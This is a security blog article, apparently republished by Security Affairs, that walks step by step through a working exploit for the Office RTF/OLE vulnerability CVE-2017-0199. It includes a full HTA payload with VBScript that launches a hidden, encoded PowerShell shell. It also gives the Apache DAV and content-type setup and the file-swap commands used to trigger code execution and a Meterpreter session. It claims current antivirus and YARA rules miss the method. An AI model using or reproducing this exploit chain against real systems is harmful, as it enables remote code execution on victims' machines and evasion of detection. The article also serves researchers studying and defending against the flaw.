Since several days the security community has been informed thanks to FireEye publication of different malware campaigns (Dridex…) leveraging the CVE-2017-0199.
Several other publications were related to this vulnerability but no working exploit was published.
After digging a while I found the way to exploit this vulnerability in an easy way, which seems to be a bit different than the current works already done by other researchers.
I decided to publish this work as Microsoft officially published a patch on 11 of Apr 2017.
After thinking a while I started by thinking how to handle a real, not malicious OLE object link to a remote RTF file… To achieve i had to play a little bit with content-type and DAV module in Apache to serve my file in the “proper” Microsoft Office expected way… (this will be discussed in next chapters).
From there, I will have a valid embedded Object link automatically updated after each open of my document!
Next step? Modify the document at the source with my payload in HTA!?!
In this scenario, I was able to:
– Create a dynamic OLEv2 object link for a real RTF file
– Modify the RTF at the source with my payload
– Bypass the error generated if I wanted to create a direct link to HTA document
Another issue? The OLE object needed to be activated automatically!
I had much help to solve all these issues relaying on different articles in the reference part! Thanks to Didier Stevens blog, Vincent Yiu (mainly inspired by its article), Nvisio labs, FireEye and obviously… Microsoft 🙂
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta content="text/html; charset=utf-8" http-equiv="Content-Type" /> <title>Bonjour</title> <script language="VBScript"> Set owFrClN0giJ = CreateObject("Wscript.Shell") Set v1ymUkaljYF = CreateObject("Scripting.FileSystemObject") If v1ymUkaljYF.FileExists(owFrClN0giJ.ExpandEnvironmentStrings("%PSModulePath%") + "..\powershell.exe") Then owFrClN0giJ.Run "powershell.exe -nop -w hidden -e ENCODED_B64_SHELL" End If </script> <hta:application id="oHTA" applicationname="Bonjour" application="yes" > </hta:application> </head> <div> <object type="text/html" data="http://windows.microsoft.com/en-IN/windows7/products/features/windows-defender" width="100%" height="100%"> </object></div> <body> </body> </html>
Create a simple RTF document using Winword with the any random content. (in our example the string “This is my official and legit content”)
Call it “ms.rtf”
Push these 2 files on a webserver you have full control on.
We supposed it will be stored in /var/www/html
Now we have to configure Apache to be able to include the ms.rtf as a link
a2enmod dav a2enmod dav_fs a2enmod dav_lock a2enmod headers service apache2 restart
The following directive will:
– Add “Content-Type application/rtf to all files in /ms
– Allow the PROPFIND request performed by Microsoft Office
Modify virtualhost and include:
<Directory /var/www/html/ms/> Header set Content-Type "application/rtf" </Directory> <Directory /> Dav on </Directory>
service apache2 restart
Create a simple RTF document using Winword “exploit.rtf” This will be our exploit !
Insert -> Object
|CVE-2017-0199 Creation of OLEv2 external link|
After clicking OK you will get the content of the “ms.rtf” file which just contains a random string..
Save the file as “exploit.rtf”
|CVE-2017-0199 Olev2 link object created|
The following step will :
– change the ms.rtf that we have included with the custom HTA payload
– The web server will send a “application/hta” content-type… this will be interpreted by the Winword client which will run mshta to handle this content-type and execute our payload
cat /var/www/html/ms/ms.hta > /var/www/html/ms.rtf
vi /etc/apache2/sites-enables/000-default Change -> application/rtf to application/hta like:
<Directory /var/www/html/ms/> Header set Content-Type "application/hta" </Directory>
service apache2 restart
At this step, if the user opens the “exploit.rtf” file he will have to double click on the link object to launch the attack…
If we want the OLE object to be loaded automatically at the opening of the document we have to edit the exploit.rtf file and change:
At this step the exploit is built.
Once the user open the document the OLE object is updated through the link and mshta is execute thanks to the application/hta content-type delivered by the server
Result: code is executed!
Meterpreter is here!
We don’t care about the warning as the code was already executed…
|CVE-2017-0199 Exploited ! warning after execution|
Detection using current AV/published YARA rules
From my personal tests it seems that this method is not currently catched by AV (Defender already have signature for CVE-2017-0199)
Additionnally current published yara rules does not match this exploit
Indeed urlmoniker does not match, which will never trigger this Yara rule.
About the author David Routin
David Routin is CISO for a Swiss security company, he has been working as security expert with offensive and defensive security approach
|[adrotate banner=”9″]||[adrotate banner=”12″]|
Edited by Pierluigi Paganini
(Security Affairs – Windows zero-day attacks, CVE-2017-0199)